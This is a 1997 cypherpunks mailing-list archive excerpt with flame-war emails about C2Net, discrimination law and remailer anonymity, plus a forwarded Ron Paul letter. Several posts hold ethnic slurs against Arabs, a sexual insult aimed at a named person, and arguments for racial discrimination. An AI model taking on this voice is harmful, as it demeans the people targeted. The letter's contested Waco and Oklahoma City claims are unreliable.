> > censorous arab Sameer Parekh for sending abusive mail threatening
> > legal action to those who criticised the security of his companies
> > "stronghold" firewall,
> 
> Stronghold is a web-server, not a firewall.

My mistake, memory fails under the influence of alcohol.

> > which I among others suspect to contain govt. backdoors, 
> 
> Would you or Dimitri care to be more specific?

Not really, This was just flamebait, I have no strong opinion one way or 
the other about stronghold, and have never looked at the product.

> (Yes we know about the legal threats Dimitri received, personally I
> consider this is a mistake on C2Net's part).

This is the sole reason I have a low opinion of C2Net, hardly a reason to 
suspect their products are insecure you might say, but certainly a valid 
reason to treat their products with caution, as it shows a censorous 
trait in the company.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 23 Dec 1997 23:09:18 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712221915.TAA00367@server.eternity.org>
Message-ID: <Pine.LNX.3.91.971223141003.3905B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > I've heard some U.S. cellular carriers are experimenting with
> > "caller pays" billing.  Does anyone on the list have experience with
> > "caller pays"?
> 
> I was totally amazed when I heard from a US friend that US cell phones
> don't bill the caller!  My immediate thought was "people can spam call
> you and run your bill up, ouch!"

UK cellphone companies used to charge a rate to both the caller and the 
recieving party for cellphone calls (if I recall correctly the only 
companies operating then were cellnet and vodaphone, now there are two 
other PCS networks, orange and mercury one2one), are any US companies 
operating the same schemes as the new ones being offered over here (that 
is, one buys a cellphone then pays no line rental, just call charges up 
front, the advantages are obvious for those who make very few calls as 
there is no $40 per month line rental charge, but the calls are expensive 
(around $1 per minute)). 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 03:40:00 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <ocru3bz3lrh.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard  writes:
> At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>> Freedom of expression is not the same as freedom of oppression.

> How is someone 'oppressed' by my choosing not to deal with him for some
> reasons, but not for other reasons? Either way, he does not get my services.

> I refuse to hire you because you are black -- you are oppressed.
> I refuse to hire you because you're an Aquarius and my astrologer told me
> not to hire Aquarians -- you are not oppressed.
> I refuse to hire you because you're a Republican and I'm a Democrat, and I
> don't think we'll work well together -- you are not oppressed.

> But in all cases, you are not hired.

> Explain the logic of this to me.

The logic is about patterns of discrimination of society and the State
acting as a social engineer to remove the patterns.

It is about basic human decency, and giving a person a fighting chance.

If society, in general, discriminated against people with freckles, it
is likely that it would be made illegal.

> (Yes, it is perfectly legal to not hire someone based on star sign,
> political affiliation, or having freckles.)

> No human being has a right to compel service from another human being.

No majority group has a right to discriminate against a minority.

You prove that you know The Truth, and I'll prove that I know The Truth.

> If I
> do not wish to engage in trade with you, that's my right. Would you be less
> oppressed if I just closed up shop and refused to trade with ANYONE? 

Oppression is done by a society.  It can only be stopped by acting
against the individuals in the society that are doing the oppressing.

> The issue here is not expression, but association.

That's a good point.  However, the alternate doesn't have the same
rhythm:

Freedom of association is not the same as freedom of oppression.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 23 Dec 1997 22:55:38 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Hate speech and censorship
In-Reply-To: <199712221655.RAA22222@basement.replay.com>
Message-ID: <Pine.LNX.3.91.971223142815.3905D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> On behalf of the non-racist cypherpunks, please accept an apology for
> Paul Bradley's racist message:

One behalf of the cypherpunks who believe in free speech and calling a 
spade a spade, I appologies for the anonymous PC coward posting this rubbish.

> > uneducated and foolish arabs such as Parekh should stick 
> > to what they do best: running kebab shops and/or selling cheap fake rolex 
> > watches to tourists. 
> 
> This does not reflect the mainstream view on the list.

You must have mistaken me for someone who gives a fuck.

> Cypherpunks
> understand that disparaging the racial background of others is a weak
> and invalid form of argument.

Cypherpunks flame people where it is appropriate, and often where it is 
not, cypherpunks do whatever the fuck they like, how do you know what 
cypherpunks understand?

> While it may be appropriate to criticize actions taken during the list
> moderation experiment, casting the issue in racial terms only reveals
> the ignorance and bigotry of the writer.

Hi Sandy, "moderation experiment", unmistakable C2Net speak. Freespeech 
doubleplus ungood, moderation cypherpunkwise doubleplus good. 

I am neither ignorant nor bigoted, and have nothing against arabs as long 
as they are not censorous. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 03:53:19 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <ocrsorj3l6w.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig writes:
> At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>> William H Geiger writes:
>>> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty <craffert@ml.com> said:
>>>> Paul Bradley writes:
>> 
>>>>> Should the government be able to take action against me because I fire 
>>>>> someone for being jewish/black/homosexual???
>> 
>>>> Welcome to the 20th Century, moron.
>> 
>>> Really amazing how many so-called "freedom fighters" become STATIST if the
>>> proper buttons are pushed.
>> 
>> What are you talking about?
>> 
>> Freedom of expression is not the same as freedom of oppression.

> You aren't being oppressed the other party doesn't want to interact
> with you, unless that party is government providing base services to all
> (e.g. police/courts/border protection).

Actually, you can be.

> You *are* being oppressed if mutually consensual behavior is interfered
> with by
> others including the State.

> You *are* being oppressed if you are coerced into a relationship you don't
> want.

You are not being coerced into anything.  If you don't want to serve
food to Blacks, don't open a restaurant.  It's your choice.

By the way, you are also not allowed to dump toxic waste in your own
backyard.  Are you being oppressed?

> An employer-employee relationship is like a marriage or any other arrangement
> between adults -mutually consensual.

In a fantasy world, it is mutually consensual.  It the real world, it is 
seldom mutual.

> Colin, do you consider
> yourself oppressed when someone choses not to date you?  What about
> a rejection by someone who takes out a public advertisement in the paper?

Nope.  Of course, this has nothing to do with anything.

> Freedom is only tested when it hurts.

With freedom comes responsibility.  Decency is one of them.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 23 Dec 1997 22:54:06 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Hate speech and censorship (fwd)
In-Reply-To: <199712221620.KAA18039@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.971223143637.3905E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Yes, those on the list a few months ago (around the time the list moved 
> > from cocksucker John Gilmores toad.com to the distributed list format) 
> 
> Dude, that was well over a year ago...

It is close to christmas and the high seasonal dose of alcohol has 
affected my judegement and sense of time, oh well.

PS: to the list in general: I`m away for a few days over christmas 
starting today, a merry christmas to you all and I`ll be back on the list 
in the new year... Bye for now..

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 04:01:28 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231935.LAA19426@gabber.c2.net>
Message-ID: <ocrpvmn3kwb.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



sameer  writes:

> 	I don't read fight censorship so I can see people flame each
> other about freedom of association. Thank you.

I am sorry.  Somebody who should know better cross-posts incendiary
messages to both fight-censorship and cypherpunks.

I just can't stand reading obviously idiotic messages without
responding.  I will try to refrain.

By the way, I am not subscribed to cypherpunks, soif you have something
to say, CC me.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Wed, 24 Dec 1997 07:05:12 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <01bd0ff5$7e544ce0$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain





>It shows that a Communist rifle doesn't allow us the freedom to lock and
load.
>
Having travelled in China extensively, I can tell you that there is not a
great deal of "Communism", the way Marx, Lenin, Stalin, or even Mao might
have imagined it.

Historians of WWI will recall that US domestic politics included a faction
that maintained that the two oceans were a natural protection against
overseas aggressors and so involvement in the European war seemed pointless.
Such people were called "isolationists", even though they were simply
maintaining that the US simply **was** isolated.


Anyway, China has had the Himalayas and huge deserts and the Pacific to
protect it and was the same way.  When technology changed that, all sorts of
foreigners moved in.  By the time the twentieth century arrived, Chinese
were sick of foreign influence, and successive governments, Imperial (Qing
dynasty), Guomentang (National People's Party = KMT), CPC (Communist Party
of China),  tried to kick everybody out.  Mao's communism was, among other
things, better organized, and at least kicked the Japanese, and later the
Russians, out, making them great heros to the Chinese people for this alone.
But now, after the Great Leap Forward, and other adventures, Chinese people
including those within the Communist Party, have little more patience for
socialism.

State Owned Enterprises (SOEs), the core of communism, are being
systematically privatized, with a final result expected to resemble modern
Britain c. 1975 (before Thatcher), and they are engaging in extensive joint
ventures with foreign firms.

China can't drop the word "Communist" easily for political reasons, but
"socialism with capitalist characteristics" is not readily distinguishable
from Tony Blair's species of moderate European socialism.

Similarly, the U.S. cannot admit directly that most of the Cold War military
spending was essentially a form of disguised Keynsian economics, and that
Grumman and friends were essentially state-subsidized if not state-owned ent
erprises.  Eisenhower figured out but few others did.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 24 Dec 1997 07:13:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <v03102807b0c50470580c@[207.167.93.63]>
Message-ID: <199712232256.OAA08140@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



no wonder TCM is so frustrated all the time. forget chips,
forget software, he's really a stymied wannabe gun salesman.

I've almost never complained about off topic posts, but
this is really beyond the limit of all comprehension.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:12:50 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.1.32.19971223101322.00bc3100@dnai.com>
Message-ID: <c6L7He46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard <lizard@mrlizard.com> writes:
> How is someone 'oppressed' by my choosing not to deal with him for some
> reasons, but not for other reasons? Either way, he does not get my services.

The eye of the beholder.

> I refuse to hire you because you are black -- you are oppressed.
> I refuse to hire you because you're an Aquarius and my astrologer told me
> not to hire Aquarians -- you are not oppressed.
> I refuse to hire you because you're a Republican and I'm a Democrat, and I
> don't think we'll work well together -- you are not oppressed.

I refuse to hire Colin@ML because I during the technical interview I asked him
the same questions I ask all other candidates, and he demonstrated his utter
ignorance and stupidity. Hence I discriminate against the clueless.

I refuse to hire Colin@ML because his skin lacks the appropriate pigmentation
(I presume: I know first-hand that very few blacks work for ML), and the
gubmint mandated that I set aside most of my contracts for folks with the
appropriate skin color. Am I discriminating against Colin@ML?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:04:21 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231935.LAA19426@gabber.c2.net>
Message-ID: <4cm7He47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



sameer <sameer@c2.net> writes:

> 	I don't read fight censorship so I can see people flame each
> other about freedom of association. Thank you.

Hey Sameer,

Is it true what people have been saying about you and the camel on
the cypherpunks list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:10:28 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrsorj3l6w.fsf@ml.com>
Message-ID: <sim7He50w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty <craffert@ml.com> writes:

> > You *are* being oppressed if mutually consensual behavior is interfered
> > with by
> > others including the State.
>
> > You *are* being oppressed if you are coerced into a relationship you don't
> > want.
>
> You are not being coerced into anything.  If you don't want to serve
> food to Blacks, don't open a restaurant.  It's your choice.

Prostitution is legal in some jurisdictions (and will hopefully be legalized
in others), and is openly tolerated in most others.  My question is, does
Colin@ML feel that the prostitutes should be allowed to discriminate when
taking on clients?

Should a prostitute be allowed to refuse to serve black patrons?

Should she be allowed to refuse to serve bisexuals (who are more likely
to infect her with AIDS)?

Should she be allowed to discriminate against prospective clients who
smell bad?

"If you don't want to fuck everybody indiscriminately, don't become
a prostitute."

> > Colin, do you consider
> > yourself oppressed when someone choses not to date you?  What about
> > a rejection by someone who takes out a public advertisement in the paper?

Sure he does.

Colin@ML reminds me in this respect of the attempt by Russian bolsheviks to
"nationalize" women after the 1917 revolution.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 23 Dec 1997 23:47:37 +0800
To: cypherpunks@toad.com
Subject: Re: Accountability and Traceless Remailers
In-Reply-To: <349fc1b7.510925872@news.cbr.aone.net.au>
Message-ID: <19971223154002.22967.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

politas@dynamite.com.au (Politas) wrote:

> >Then what's the point of going to all the trouble of tracking someone down if
> >you're unwilling or unable to take appropriate legal action against him
> >after he's found?
>  
> Well, you don't (can't) know that until you find the responsible person,
>  can you?

You're missing the point.  You would have already made that decision before
you started the ball rolling.  By your own scenario, you'd already have filed
a court case and presented PROBABLE CAUSE that the law had been violated in
order to convince a judge to start issuing subpoenas, etc.

Do you really think the legal systems of several sovreign countries would go
to all this effort to identify a person that you only *MIGHT* want to sue?
If you caused all this expense and then decided not to sue, they'd be well 
justified in BILLING YOU for all the costs incurred.  Short of an outright 
criminal act where the government intervenes and prosecutes, in most civil 
cases it's customary for the accuser (plaintiff) to pay all of the costs in 
advance, then attempt to collect them from the defendant.  If you file a 
frivolous case, then later drop it, you're still stuck with paying the fees.

What's more, if you do all that, the person you tracked down (but never proved
any wrongdoing against) would have a perfect case to countersue you for
invasion of privacy.
 
> >I don't recall ever saying that.  How do you run a person out of
> >an unmoderated NG?
>  
> By continually posting attacks and offensive material under different
> nyms.

If you're easily offended, then an unmoderated usenet NG is not the place for
you.  I don't think you could ever enact enough laws to force people to be
nice to each other.
 
> >Nor do I understand the "who refuses to be killfilable" part, either.  How can
> >someone you don't even know control your killfile?
>  
> If someone keeps changing their nym, it is impossible to killfile them.

Then your beef is with ISPs like Netcom and AOL, not the remailers.  AOLers can
change screen names at will, and Netcom subscribers are free to put just
about anything in the From: line that they choose to.  I'm just citing two
examples.  The vast majority of the people giving usenet a bad name are doing
so with non-anonymous accounts at ISPs that couldn't care less what their
users say or do.  As I said before, just visit some of the usenet NGs where
people are being called "pedophiles" by people posting under their own user
IDs from well known ISPs.  That's about as clear-cut case of libel as you're
going to get (unless everyone so accused really is a pedophile) and yet I'll
bet that if I complained to the ISPs that nothing would be done.  I have no
reason to do so, but it's hard to believe that somebody hasn't complained by
now, and yet the flamers still have their accounts.  If the present system
is incapable of dealing with identifiable offenders, why worry about the few
anonymous ones among them?  Presumably if you track an anonymous poster down 
to an account at one of these ISPs, you'll be no better off than with those 
who now do the same thing openly.

You've also now switched the subject from arguably illegal behavior to that
which is merely annoying.  I'm not even sure that accusing a person of child
molestation in the context of an ongoing flame battle constitutes a winnable
case of libel, but it's the closest I can come.

> It doesn't stop you calling the police, it just stops them being able to
> do anything.

That's still your decision.  But if the person isn't "worth suing" by whatever
standards you use, then it doesn't matter whether he's anonymous or not.
 
> >Using a remailer does not make a person unidentifiable, just untraceable.
> >There is a difference.
>   
> What??????  How can I identify an anonymous poster if I can't trace
> them?  How can I use their posts as evidence if there is no way to trace
> those posts back to them?

That's like saying that you can't identify a masked bank robber just because
you didn't see him drive up and happen to take down his license number.  Bank
robbers are convicted all the time, even if they couldn't be identified at the
scene.  They were overheard planning the crime before hand.  They were caught
bragging about it afterwards.  They were caught spending the stolen money.  A
few stupid ones even visited the bank again without a mask to transact normal
business and a teller recognized their voice.

Thus, it is possible to deter and prosecute bank robbers without fingerprinting
everyone who merely walks into the bank.
 
> >Banks are a poor analogy, because anonymity is more analogous to paying cash.
> >When you sign your name to a check, you're already identifying yourself.
> >Banking is an inherently identity-based institution.  You're asking someone
> >to trust you, and it's up to you to prove yourself to be trustworthy.
>  
> Email and news postings are also inherently identity-based.

You'd like them to be, but they aren't.
  
> >A check is made valuable or worthless by virtue of the validity of its
> >signature.  Ideas can be evaluated on their own merit, just like paper
> >currency can.  I don't need to see two forms of ID to determine whether that
> >$100 bill you just handed me is genuine or counterfeit.
>  
> Look, you were saying that remailers storing ID information is treating
> people like criminals, and is unacceptable.  

No, I'm saying that FORCING remailer operators to collect this information
from their users is unacceptable.  The banks are doing what they believe to
be in their own best interests, just as the remailers are.

> I am saying that it is
> obviously acceptable for other institutions providing services to store
> a lot more information.  You aren't saying that banks are behaving
> unacceptably in storing ID information, so why is it unacceptable for a
> remailer to store far less information?

What you're proposing is like refusing cash and requiring that people pay via
traceable check.  I'm proposing giving people the option of doing either.  If
you don't want to accept cash in payment, nobody will force you to.  But don't
impose that rule on everyone else.

> >The solution being what?  Surrendering freedom for the sake of supposed
> >security?  I don't see that there is necessarily a dilemma between protecting
> >victims versus preserving the freedoms of average citizens.
>  
> Anonymity is not a right.  It is a privilege that can be granted by a
> person in a position to do so.  It is a privilege that should be able to
> be taken away if it is abused.

Under Australian law, perhaps, but not US.  We have a "Bill of Rights" here,
not a "list of optional privileges".  Our Supreme Court has already ruled
that anonymous speech is protected under the First Amendment to our
constitution.  Yes, free speech can be revoked if it's misused, but that's
only AFTER an offense has occurred and a proper restraining order has been
obtained.  What you're proposing requires a breach of one's privacy BEFORE 
any law has been broken.

> >It seems that every solution I offer Politas' is countered with a "yeah, but
> >what about .... " objection.  In an imperfect world, government cannot
> >completely protect people from themselves.
>  
> Society is all about protecting people from others, not themselves.

Maybe Australia didn't experiment with such things as Prohibition, then.
 
> >I'm really trying to understand what Politas' wants, but it's difficult.  I've
> >suggested several solutions to his hypothetical problems that don't infringe
> >on the freedoms of the innocent, but each is quickly rejected.
>  
> All your solutions involve the victim suffering for the acts of the
> perpetrator.  That is hardly justice.

Neither is the alternative.  You don't punish a person until AFTER he's been
convicted.  You say "anonymity is a privilege", but your proposal doesn't even
allow that.  How can I be ANONYMOUS if I have to IDENTIFY myself first?  I'd
lose the privilege before I even received it.  If I have to tell somebody who
I am, then I'm not anonymous.

> What I want is accountability.  If you are doing something wrong, you 
> should be accountable for it.  It is an underlying thread to all systems
> of justice.

In most free countries, the burden of proof is on the accuser.  What you're
proposing is like demanding that since you feel that your neighbor is a
"suspicious character", he ought to be required to wear an electronic device
at all times so that *IF* he should do something wrong, he can be traced.  That
technology exists, but it's only used after a person has been convicted and is
then released on probation or parole.

There's nothing in your scenario that couldn't be put in place AFTER you'd
shown probable cause that a law was being broken via a remailer.  The picture
that both you and Gary have painted is of a repeated pattern of offenses.
If you could demonstrate that the law was being broken, you could get the
proper courts to order that this tracing be instituted, for a limited period
of time, until the culprit was caught or the wrongdoing ended.  Why subject
all remailer users to this in advance just in case something MIGHT happen?
BTW, I'm not endorsing this compromise idea, just pointing out that less
onerous measures exist than what you're suggesting.
 
> Your solutions are the equivalent of saying, "Well, if you don't go into
> that part of town, you won't get mugged again."

You're changing the scenario.  It's more like going into a country where
Australians are unpopular and being called names.  You have your choice of
returning to that country or not.  Usenet is not in such a state that when
somebody calls you names on the playground you can call in a NetCop to
make those mean kids stop calling you names.

Even under you proposal, I doubt that you'd find a single country where
remailers are allowed to operate that would force a remailer operator to
violate a user's privacy over a usenet flame attack.

If you wander into a NG where someone doesn't like you, you can either stick
around and defend yourself, flame the person back, or move along.

Now what sort of usenet "mugging" did you have in mind that you think ALL the
governments under which remailers operate would be willing to exert their
legal clout to identify and prosecute the perpetrator?  Can you cite one
example, perhaps, of a real case in which your proposal would have been
effective?

- ----
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 24 Dec 1997 08:17:36 +0800
To: cypherpunks@toad.com
Subject: ron paul for prez
Message-ID: <199712232350.PAA19921@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Tue, 23 Dec 1997 10:42:19 -0400 (EDT)
From: Patricia Neill <pnpj@db1.cc.rochester.edu>
Subject: IP: An Important Recent Letter from Congressman Ron Paul
To: ignition-point@majordomo.pobox.com



An Important Recent Letter from Congressman Ron Paul (Texas):

Please forward freely!

- ----------------------

Congressman Ron Paul

House of Representatives
203 Cannon
Washington D.C.  20515

TEL 202-225-2831
FAX 202-226-4871


Dear Friend:

     The other day, I made a huge "gaffe" on national TV:  I told the truth
about the crimes of the U.S. government.  As you can imagine, the ceiling
fell in, and a couple of walls too.

     Congressmen are supposed to support the government, I was told.  Oh,
it's okay to criticize around the edges, but there are certain subjects a
member of the House of Representatives is not supposed to bring up.  But I
touched the real "third-rail" of American politics, and the sparks sure
flew.

     I was interviewed on C-SPAN's morning "Washington Journal," and I used
the opportunity, as I do all such media appearances, to point out how many
of our liberties have been stolen by the federal government.  We must take
them back.

     The Constitution, after all, has a VERY limited role for Washington,
D.C.  If we stuck to the Constitution as written, we would have: no federal
meddling in our schools;  no Federal Reserve;  no U.S. membership in the
UN;  no gun control;  and no foreign aid.

     We would have no welfare for big corporations, or the "poor"; no
American troops in 100 foreign countries;  no Nafta, Gatt, or "fast-track";
no arrogant federal judges usurping states rights;  no attacks on private
property;  and no income tax.

     We could get rid of most of the cabinet departments, most of the
agencies, and most of the budget.  The government would be small, frugal,
and limited.

     That system is called liberty.  It's what the Founding Fathers gave
us.  Under liberty, we built the greatest, freest, most prosperous, most
decent country on earth.

     It's no coincidence that the monstrous growth of the federal
government has been accompanied by a sickening decline in living standards
and moral standards.

     The feds want us to be hamsters on a treadmill -- working hard, all
day long, to pay high taxes, but otherwise entirely docile and controlled.
The huge, expensive, and out-of-control leviathan that we call the federal
government wants to run every single aspect of our lives.

[Page 2]

     Well, I'm sorry, but that's not America.  It's not what the Founders
gave us.  It's not the country you believe in.  It's not the country I
believe in.

     So, on that TV interview, I emphasized not only the attacks on our
property, but also the decline of our civil liberties, at the hands of the
federal police.  There are not supposed to be ANY federal police, according
to the Constitution.

     Then I really went over the line.  I talked about the Waco massacre.
Bill Clinton and Janet Reno claim those 81 church members, including 19
children, burned down their own church and killed themselves, and good
riddance.  So they put the few survivors on trial, and threw them in prison
for 40 years.

     We're not supposed to remember that the Bureau of Alcohol, Tobacco,
and Firearms -- talk about an unconstitutional agency -- rather than arrest
David Koresh on his regular morning jog,  called in the TV stations for a
big publicity bonanza, and sent a swat team in black masks and black
uniforms to break down his front door, guns blazing.  They also sent in a
helicopter gunship, to shoot at the roof of a church full of innocents.

     The Branch Davidians resisted, and after a heartless siege of almost
two months, and after cutting off food, water, and electricity, and playing
horrible rock and roll through huge speakers 24 hours a day, the feds sent
in the tanks to crush the walls of the church, and inject poisonous CS gas.

     Now, CS gas is banned under the Paris Convention on Chemical Warfare.
The U.S. could not use it in a war.  But it could and did use it against
American civilians.

     After the tanks did their work on the church, the place burst into
flame, and all 81 people -- men, women, children, and babies--were
incinerated in a screaming horror.

     Did some feds set the fire?  Did the flammable CS gas ignite, since
without electricity, the parishioners were using lanterns?  Did a tank
knock over a lantern, striking one of the bales of hay being used against
the thin walls as a "defense" against bullets?  or did the Davidians, as
Clinton and Reno claim, kill themselves?

     A new documentary -- Waco: The Rules of Engagement -- may show,
through FLIR infrared photography, FBI snipers killing the Davidians by
shooting through the back of the church, where no media cameras were
allowed.  This film won a prize at the famed Sundance Film Festival.  It
was made by people who took the government's side, until they investigated.

     Whatever the truth, there's no question that an irresponsible federal
government has innocent blood on its

[Page 3]

hands, and not only from Waco.  And the refusal of corrupt and perverse
liberals to admit it means nothing.

     In my TV interview, in answer to a caller's question, I pointed out
that Waco, and the federal murders at Ruby Ridge -- especially the FBI
sniper's shot that blasted apart the head of a young mother holding her
baby -- caused many Americans to live in fear of federal power.

     Then I uttered the sentiment that caused the media hysteria:  I said
that a lot of Americans fear that they too might be attacked by federal
swat teams for exercising their constitutional rights, or merely for
wanting to be left alone.

     Whoa!  You've never seen anything like it. For days, in an all-out
assault, I was attacked by Democrats, unions, big business, establishment
Republicans, and -- of course -- the media, in Washington and my home state
of Texas.  Newspapers foamed at the mouth, calling me a "right-wing
extremist."  (Say, isn't that what George III called Thomas Jefferson?)

     I was even blamed for the Oklahoma City bombing!  And by the way, I
don't believe we've gotten the full truth on that either.

     All my many opponents were outraged that a Congressman would criticize
big government.  "If you don't like Washington, resign!" said a typical
big-city newspaper editorial. But the media, as usual, were all wet. (Do
they ever get ANYTHING right?)

     The average Congressman may go to Washington to wallow in power, and
line his pockets with a big lobbying job for a special interest (so he can
keep ripping-off the taxpayers).

     But that's not why I'm in Congress.  It's not why I left my medical
practice as a physician.  It's not why I put up with all the abuse.  It's
not why I refuse a plush Congressional pension.

     I'm in this fight for a reason.  I want to hand on to my children and
grandchildren, and to you and your family, a great and free America, an
America true to her Constitution, an America worthy of her history.  I will
not let the crooks and clowns and criminals have their way.

     I'm in Congress to represent the ideas of liberty, the ideas that you
and I share, for the people of my district, for the people of Texas, for
the people of America.  That's why I'm working to stop federal abuses, and
to cut the government:  its taxes, its bureaucrats, its paramilitary
police, its spending, its meddling overseas, and every single
unconstitutional action it takes.  And not with a pair of nail scissors,
but with a hammer and chisel.  Won't you help me do this work?

     Not much of the federal leviathan would be left, if I

[Page 4]

had my way.  But you'd be able to keep the money you earn, your privacy
would be secure, your dollar would be sound, your local school would be
tops, and your kids wouldn't be sent off to some useless or vicious foreign
war to fight for the UN.  But Jefferson and the other Founders would
recognize our government, and our descendants would bless us.

     By the way, when I say cut taxes, I don't mean fiddle with the code.
I mean abolish the income tax and the IRS, and replace them with NOTHING.

     Recently, I asked a famous Republican committee chairman -- who's
always talking about getting rid of the IRS -- why he engineered a secret
$580 million raise for the tax collectors.  "They need it for their
computers," this guy told me.  So the IRS can't extract enough from us as
it is!

     The National Taxpayers Union says I have the highest pro-taxpayer
rating in Congressional history, that I am the top "Taxpayer's Best
Friend."  You know I won't play the Capitol Hill games with the Capitol
Hill gang, denouncing the IRS while giving the gestapo more of your money.
or figuring out some other federal tax for them to squeeze out of you.

     I also want to abolish the Federal Reserve, and send Alan Greenspan
out to get a job.  The value of our dollar and the level of our interest
rates are not supposed to be manipulated by a few members of the power
elite meeting secretly in a marble palace.

     The Federal Reserve is unconstitutional, pure and simple.  The only
Constitutional money is gold and silver, and notes redeemable in them.  Not
Fed funny money.

     Without the Federal Reserve, our money could not be inflated, at the
behest of big government or big banks. Your income and savings would not
lose their value.  Just as important, we wouldn't have this endless string
of booms and busts, recessions and depressions, with each bust getting
worse.  They aren't natural to the free market; they're caused by the
schemers at the Fed.

     President Andrew Jackson called the 19th-century Fed "The Monster"
because it was a vehicle for inflation and all sorts of special-interest
corruption.  Let me tell you, things haven't changed a bit.

     I also work to save our schools from D.C. interference.  Thanks to the
